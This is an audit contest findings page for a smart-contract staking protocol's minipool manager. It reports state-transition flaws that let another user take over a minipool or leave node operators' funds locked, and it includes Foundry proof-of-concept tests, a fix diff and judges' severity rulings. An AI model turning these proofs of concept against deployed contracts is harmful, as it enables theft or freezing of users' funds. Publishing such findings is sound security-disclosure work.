Platform: Code4rena
Start Date: 15/12/2022
Pot Size: $128,000 USDC
Total HM: 28
Participants: 111
Period: 19 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 194
League: ETH
Rank: 70/111
Findings: 3
Award: $77.99
π Selected for report: 0
π Solo Findings: 0
π Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xc0ffEE, 0xmint, AkshaySrivastav, Allarious, Ch_301, Franfran, HollaDieWaldfee, IllIllI, Jeiwan, Lirios, Manboy, adriro, ak1, bin2chen, caventa, chaduke, clems4ever, cozzetti, datapunk, imare, immeas, kaliberpoziomka8552, ladboy233, pauliax, peritoflores, rvierdiiev, sces60107, sk8erboy, stealthyz, unforgiven, wagmi, wallstreetvilkas, yixxas
9.9345 USDC - $9.93
Node Operator will lose all AVAX funds of his minipool + he can't use his minipool for a period of time
Case 01:
The status of the minipool is Withdrawable the node op can invoke createMinipool()
(by mistake) before callingwithdrawMinipoolFunds()
to receive his money back first.
Here the node op will lose both avaxNodeOpAmt
and avaxNodeOpRewardAmt
on this specific nodeID
Case 02:
The status of the minipool is Error the node op can invoke createMinipool()
(by mistake) before calling withdrawMinipoolFunds()
to receive his money back first.
Here the node op will only lose avaxNodeOpAmt
because the avaxNodeOpRewardAmt
are 0.
Case 03:
The status of the minipool are Withdrawable or Error any malicious user (or a normal node op passed a different nodeID ) could invoke createMinipool()
.
He will be the owner of this node op
setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender);
and the first node op will lose his funds forever + he needs to wait until the Multisig change the state to Error , Canceled or Finished to reuse the same minipool
Please copy the following POC on MinipoolManager.t.sol
function test_from_Withdrawable_to_Prelaunch() public {//!@audit-info -this is a POC of Case 01 uint256 originalRialtoBalance = address(rialto).balance; address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(lilly.balance, 0); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 0); assertEq(address(rialto).balance - originalRialtoBalance, validationAmt); //now the funds are locked bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(duration); uint256 rewards = 10 ether; //vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 10 ether); uint256 commissionFee = (5 ether * 15) / 100; //checking the node operators rewards are corrrect assertEq(vault.balanceOf("MinipoolManager"), (1005 ether + commissionFee)); vm.stopPrank(); // Here the Node Operator will invoke `createMinipool()` vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); //Node Operator will try to claim all AVAX funds of his minipool vm.expectRevert(MinipoolManager.InvalidStateTransition.selector); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); vm.stopPrank(); } function test_from_Error_to_Prelaunch() public {//!@audit-info -this is a POC of Case 02 uint256 originalRialtoBalance = address(rialto).balance; address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(lilly.balance, 0); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 0); assertEq(address(rialto).balance - originalRialtoBalance, validationAmt); //now the funds are locked bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(duration); // Assume something goes wrong and we are unable to launch a minipool bytes32 errorCode = "INVALID_NODEID"; // Now send correct amt minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode); assertEq(address(rialto).balance - originalRialtoBalance, 0); vm.stopPrank(); // Here the Node Operator will invoke `createMinipool()` vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); //Node Operator will try to claim all AVAX funds of his minipool vm.expectRevert(MinipoolManager.InvalidStateTransition.selector); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); vm.stopPrank(); } function test_from_Withdrawable_to_Prelaunch_by_anyone() public {//!@audit-info -this is a POC of case 03 address nodeOp2 = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);//malicious user uint256 originalRialtoBalance = address(rialto).balance; address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(lilly.balance, 0); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 0); assertEq(address(rialto).balance - originalRialtoBalance, validationAmt); //now the funds are locked bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(duration); uint256 rewards = 10 ether; //vm.expectRevert(MinipoolManager.InvalidMultisigAddress.selector); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 10 ether); uint256 commissionFee = (5 ether * 15) / 100; //checking the node operators rewards are corrrect assertEq(vault.balanceOf("MinipoolManager"), (1005 ether + commissionFee)); vm.stopPrank(); // Here the Node Operator will invoke `createMinipool()` vm.startPrank(nodeOp2); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); //Node Operator will try to claim all AVAX funds of his minipool but he is now no longer the owner + vm.startPrank(nodeOp); vm.expectRevert(MinipoolManager.OnlyOwner.selector); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); vm.stopPrank(); }
} else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) { - isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch); + isValid = (to == MinipoolStatus.Finished); } else if (currentStatus == MinipoolStatus.Finished || currentStatus == MinipoolStatus.Canceled) { // Once a node is finished/canceled, if they re-validate they go back to beginning state isValid = (to == MinipoolStatus.Prelaunch); } else { isValid = false; }
#0 - c4-judge
2023-01-10T19:26:07Z
GalloDaSballo marked the issue as duplicate of #213
#1 - c4-judge
2023-02-03T19:26:10Z
GalloDaSballo changed the severity to 3 (High Risk)
#2 - c4-judge
2023-02-08T08:26:45Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-02-08T08:50:12Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-02-08T20:28:08Z
GalloDaSballo marked the issue as satisfactory
#5 - c4-judge
2023-02-09T08:53:06Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#6 - Simon-Busch
2023-02-09T12:45:48Z
Changed severity back from QA to H as requested by @GalloDaSballo
π Selected for report: 0xbepresent
Also found by: 0Kage, Atarpara, Ch_301, Manboy, cozzetti, datapunk, immeas, kaliberpoziomka8552, peritoflores, rvierdiiev, sces60107, unforgiven, wagmi, yixxas
57.1995 USDC - $57.20
the fund of the nodeOP
will be locked on the vault
Case 01:
After the Multisig has invoked recordStakingEnd()
and before the node op invoke withdrawMinipoolFunds()
the Multisig can invoke finishFailedMinipoolByMultisig()
the fund will be locked on the vault
Please copy the following POC on MinipoolManager.t.sol
function test_the_lock_fund_on_vault() public {//!@audit-info -this is a POC uint256 originalRialtoBalance = address(rialto).balance; address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(lilly.balance, 0); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 0); assertEq(address(rialto).balance - originalRialtoBalance, validationAmt); // We simulate a random txID here bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); uint256 rewards = 10 ether; skip(duration); //right now rewards are split equally between the node op and user. User provided half the total funds in this test minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 10 ether); uint256 commissionFee = (5 ether * 15) / 100; //checking the node operators rewards are corrrect assertEq(vault.balanceOf("MinipoolManager"), (1005 ether + commissionFee)); //!now the funds are locked minipoolMgr.finishFailedMinipoolByMultisig(mp.nodeID); vm.stopPrank(); //!test that the node op can't withdraw the funds they are due vm.startPrank(nodeOp); vm.expectRevert(MinipoolManager.InvalidStateTransition.selector); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); vm.stopPrank(); }
case 02:
After the Multisig has invoke recordStakingError()
he can imeditly call finishFailedMinipoolByMultisig()
and the fund will be locked on the vault
Please copy the following POC on MinipoolManager.t.sol
function test_lock_fund_on_vault_from_Error_to_finish() public {//!@audit-info -this is a POC uint256 originalRialtoBalance = address(rialto).balance; address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(lilly.balance, 0); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 0); assertEq(address(rialto).balance - originalRialtoBalance, validationAmt); // We simulate a random txID here bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); bytes32 errorCode = "INVALID_NODEID"; minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode); //!now the funds are locked minipoolMgr.finishFailedMinipoolByMultisig(mp.nodeID); vm.stopPrank(); //!test that the node op can't withdraw the funds they are due vm.startPrank(nodeOp); vm.expectRevert(MinipoolManager.InvalidStateTransition.selector); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); }
Make sure that the nodeOP can withdraw his funds in case the status is Finished
#0 - 0xju1ie
2023-01-17T10:17:04Z
#1 - c4-judge
2023-01-26T18:54:46Z
GalloDaSballo marked the issue as duplicate of #723
#2 - c4-judge
2023-02-08T20:13:35Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: hansfriese
Also found by: 0Kage, 0xdeadbeef0x, Allarious, Aymen0909, Ch_301, Franfran, HollaDieWaldfee, Jeiwan, Nyx, RaymondFam, SmartSek, adriro, betweenETHlines, bin2chen, cccz, datapunk, immeas, kaliberpoziomka8552, peritoflores, wagmi
10.8565 USDC - $10.86
The Vault will lose funds
The nodeOP will be slash()
The minipool can be active for infinite cycles
β...behind the scenes, Rialto will only create a validator for 14 days. At the end of the 14 days, the Avalanche protocol pays out the validation rewards and all funds are returned to the contracts, which divvy up the rewards between liq stakers and nodeops. If the duration still has time left to go, Rialto will call recreateMinipool which will do another 14 days cycleβ¦β
After 14 days Rialto will invoke recordStakingEnd()
**Case 01: **
Duration still has time left to go. Rialto will call recreateMinipool()
which will do another 14 days cycle.
malicious Multisig or by mistake can invoke recreateMinipool()
even if the minipool has no fund on it
Please copy the following POC on MinipoolManager.t.sol
function test_Canceled_to_Prelaunch() public {//!@audit-info POC ==> Case 01 address nodeOp2 = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT); //uint256 originalRialtoBalance = address(rialto).balance; address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(lilly.balance, 0); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; //uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; //! `nodeOp2` createMinipool vm.startPrank(nodeOp2); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp02 = createMinipool(depositAmt, avaxAssignmentRequest, duration); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); vm.stopPrank(); //! `nodeOp` createMinipool vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); assertEq(vault.balanceOf("MinipoolManager"), depositAmt * 2 ); skip(1 weeks); minipoolMgr.cancelMinipool(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); vm.stopPrank(); //! this is the step leading to the mistake vm.startPrank(address(rialto)); minipoolMgr.recreateMinipool(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), depositAmt ); minipoolMgr.claimAndInitiateStaking(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 0 ); vm.stopPrank(); //! Now `nodeOp2` will try to `cancelMinipool()` vm.startPrank(nodeOp2); vm.expectRevert(Vault.InsufficientContractBalance.selector); minipoolMgr.cancelMinipool(mp02.nodeID); vm.stopPrank(); }
Case 02:
This is the last cycle. Or the time left is smaller than 14 days
malicious Multisig or by mistake can invoke recreateMinipool()
, so in case of
the node op can shut down the node and he just decided to leave his fund in the vault for a period of time, so no reward for this minipool this will lead to slash()
. You can avoid this case by checking the time left
Please copy the following POC on MinipoolManager.t.sol
function test_Finished_to_Prelaunch() public {//!@audit-info POC ==> Case 02 uint256 originalRialtoBalance = address(rialto).balance; address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(lilly.balance, 0); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; //! `nodeOp` createMinipool vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); assertEq(vault.balanceOf("MinipoolManager"), depositAmt ); vm.stopPrank(); //! Normal flow vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 0); assertEq(address(rialto).balance - originalRialtoBalance, validationAmt); // We simulate a random txID here bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(duration); uint256 rewards = 2 ether; //right now rewards are split equally between the node op and user. User provided half the total funds in this test minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, 2 ether); uint256 commissionFee = (1 ether * 15) / 100; //checking the node operators rewards are corrrect assertEq(vault.balanceOf("MinipoolManager"), (1001 ether + commissionFee)); vm.stopPrank(); //! this is should revert because the `duration == 14 days` vm.startPrank(address(rialto)); minipoolMgr.recreateMinipool(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 1001 ether + commissionFee ); minipoolMgr.claimAndInitiateStaking(mp.nodeID); assertEq(vault.balanceOf("MinipoolManager"), 0 ); vm.stopPrank(); //! Now `nodeOp` will try to `withdrawMinipoolFunds()` vm.startPrank(nodeOp); vm.expectRevert(MinipoolManager.InvalidStateTransition.selector); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); vm.stopPrank(); }
Add more checks on recreateMinipool()
#0 - GalloDaSballo
2023-01-10T20:58:43Z
Basically dup of #569 with some extra info
#1 - 0xju1ie
2023-01-18T13:28:15Z
Case 1 depends on Rialto making a mistake. It would not call recreate() on a minipool that had never staked. And we are assuming for the audit that Rialto is a perfect actor so this is invalid.
Case 2 I do not really understand... Seems like it is working as intended. Our UI will prevent anything that is not in 14day increments, but even if that wasnt there the staking would fail and recordStakingError() would be called after claimAndInitiateStaking().
#2 - c4-judge
2023-02-03T12:32:00Z
GalloDaSballo marked the issue as duplicate of #569
#3 - c4-judge
2023-02-03T12:32:29Z
GalloDaSballo marked the issue as partial-50
#4 - GalloDaSballo
2023-02-03T12:32:51Z
Basically issues with validation that can lead to issues but unclear -> awarding 50% because the FSM / check is incorrect but is not as accurate as 569
#5 - c4-judge
2023-02-09T08:45:54Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#6 - Simon-Busch
2023-02-09T12:35:11Z
Changed the severity back to M as requested by @GalloDaSballo